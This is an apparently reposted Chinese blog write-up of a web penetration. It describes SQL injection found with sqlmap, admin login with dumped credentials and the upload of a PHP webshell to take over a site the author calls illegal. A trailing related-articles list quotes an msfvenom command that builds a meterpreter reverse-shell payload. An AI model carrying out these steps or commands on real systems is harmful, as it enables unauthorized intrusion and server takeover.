一次违法网站的渗透经历

6月前作者：吉吉说安全分类：Toy博客阅读(35) 违法举报

这篇具有很好参考价值的文章主要介绍了一次违法网站的渗透经历。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

0x01 前言

在一次攻防演练中，我发现了一个有趣的渗透路径。在信息收集阶段，我注意到目标网站和用户资产网站共享相同的IP网段。这意味着它们可能在同一台服务器上托管，或者至少由同一家互联网服务提供商管理。这种情况为我们的渗透测试提供了一个有利的条件，因为我们可以利用这种关联性来尝试在用户资产网站上发现的漏洞或弱点来渗透目标网站。

在渗透测试中，我们可以采取以下步骤：

1. 识别目标网站和用户资产网站的关联性：通过网络扫描工具或手动查找，确认它们是否使用相同的IP地址范围或者是否有其他关联性，比如共享相同的网络设备或服务。

2. 分析用户资产网站的安全性：对用户资产网站进行漏洞扫描、Web应用安全性评估或渗透测试，寻找可能存在的安全漏洞或配置错误。

3. 利用关联性进行攻击：如果在用户资产网站上发现了可利用的漏洞或弱点，尝试利用这些漏洞或弱点来攻击目标网站。这可能包括利用未经授权访问、注入攻击、跨站脚本（XSS）攻击等。

4. 提高权限和获取敏感信息：一旦成功渗透目标网站，尝试提升权限以获取更高级别的访问权限，并查找可能的敏感信息，比如数据库凭证、用户数据等。

5. 报告结果并提出建议：对渗透测试过程中发现的漏洞、攻击路径和成功渗透的结果进行详细报告，并提出改进建议，帮助目标网站加强安全防护措施。

通过利用用户资产网站和目标网站的关联性，我们可以更有效地发现和利用目标网站的安全漏洞，提高攻击成功的可能性。

0 x02 SQL注入漏洞发现

打开站点进行访问403服务器拒绝访问

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

通过插件查看站点为php类型

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

常规扫目录

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

前台

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

通过一键登录在新增地址处发现注入

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

0x03 进一步漏洞利用

此处提示需要get传参，在address.php请求处，随便填了个数字请求后，继续填写信息并抓包，开始sqlmap

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

经过长时间的等待，发现存在sql布尔盲注和报错注入

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

接下来找站点后台管理地址

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

利用注入得到的账号密码登入后台

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

0x04 任意文件上传

寻找上传点

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

上传

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

访问路径

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

直接上传php木马抬走

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络

拿下了站点，简单高效一套带走！

免费红队知识库：

知识库免费送价值上千会员一年

一次违法网站的渗透经历,安全,web安全,网络安全,可信计算技术,安全架构,网络攻击模型,计算机网络文章来源地址https://www.toymoban.com/news/detail-859272.html

到了这里，关于一次违法网站的渗透经历的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

网络安全B模块（笔记详解）- Web渗透测试

1.通过渗透机Kali1.0对服务器场景PYsystem20192进行Web渗透测试（使用工具w3af的对目标Web服务器进行审计），在w3af的命令行界面下，使用命令列出所有用于审计的插件，将该操作使用的命令作为Flag值提交；进入kali命令控制台中使用命令w3af_console进入w3af命令行模式，通过输入命令

2024年01月25日
浏览(50)
网络安全从业人员应该如何提升自身的web渗透能力?

前言 web 渗透这个东西学起来如果没有头绪和路线的话，是非常烧脑的。理清 web 渗透学习思路，把自己的学习方案和需要学习的点全部整理，你会发现突然渗透思路就有点眉目了。程序员之间流行一个词，叫 35 岁危机，，意思就是说 35 岁是个坎，容易被淘汰。那么安全行

2023年04月09日
浏览(103)
信息服务上线渗透检测网络安全检查报告和解决方案4(网站风险等级评定标准、漏洞危害分级标准、漏洞安全建议)

信息服务上线渗透检测网络安全检查报告和解决方案3(系统漏洞扫描、相对路径覆盖RPO漏洞、nginx漏洞修复) 信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级) 信息服务上线渗透检测网络安

2024年02月12日
浏览(43)
2023年广东省网络安全竞赛——Web 渗透测试解析（超级详细）

任务环境说明： √ 服务器场景：Server03 √ 服务器场景操作系统：未知（关闭连接）通过本地 PC 中的渗透测试平台 Kali 对靶机进行 WEB 渗透，找到页面内的文件上传漏洞并且尝试进行上传攻击，将文件上传成功后的页面回显字符串作为Flag 提交（如：点击超链接查看上传文

2023年04月08日
浏览(54)
网络安全B模块（笔记详解）- 利用python脚本进行web渗透测试

1.使用渗透机场景kali中工具扫描确定Web服务器场景地址，浏览网站Flag.html页面，并将Flag.html中的Flag提交；扫描发现是8081端口访问页面查看 Flag：WXL0601 2.进入渗透机场景win7操作系统，完善桌面上的tupian.py文件，填写该文件当中空缺的Flag1字符串，并将该字符串作为Flag提交；

2024年01月18日
浏览(48)
【网络安全】-- 网络渗透技术攻防（--更新中）

1.1.1 什么是网络渗透攻击 “网络渗透攻击”是对大型的网络主机服务器群组采用的一种迂回渐进式的攻击方法，通过长期而有计划的逐步渗透攻击进入网络，最终控制整个网络。 1.1.2 网络渗透测试的意义渗透测试是受信任的第三方进行的一种评估网络安全的活动，它通过运

2024年02月13日
浏览(53)
网络安全—综合渗透实验

综合实验【实验描述】随着互联网的普及和快速发展，互联网产品多样化、迭代快的特点为一些企业赢得了机会，同样也给企业带来了众多安全问题。如网络安全、系统安全、web安全、数据安全等。本实验模拟企业复杂网络、复杂应用环境，通过数据包分析、漏洞挖掘、渗

2024年02月15日
浏览(49)
网络安全渗透测试实验一

理解网络扫描、网络侦察的作用；通过搭建网络渗透测试平台，了解并熟悉常用搜索引擎、扫描工具的应用，通过信息收集为下一步渗透工作打下基础。系统环境：Kali Linux 2、Windows 网络环境：交换网络结构实验工具： Metasploitable2（需自行下载虚拟机镜像）；Nmap（Kali）；

2023年04月26日
浏览(52)
网络攻击（一）--安全渗透简介

目标了解渗透测试的基本概念了解渗透测试从业人员的注意事项在了解渗透测试之前，我们先看看，信息安全相关的法律是怎么样的中华人民共和国网络安全法《中华人民共和国网络安全法》由全国人民代表大会常务委员会于2016年11月7日发布，自2017年6月1日起施行。中

2024年02月04日
浏览(43)
网络安全--Kali渗透Windows

这里我们学习使用Kali攻击机来渗透Windows，这里使用的是msfvenom木马来进行渗透。命令： msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f exe -o payload.exe 这里说明一下，-p 是指使用的工具模块，lhost是本机的IP地址,lport是本机的端口, -f 是指生成什么样的文件，简称指定

2024年02月05日
浏览(50)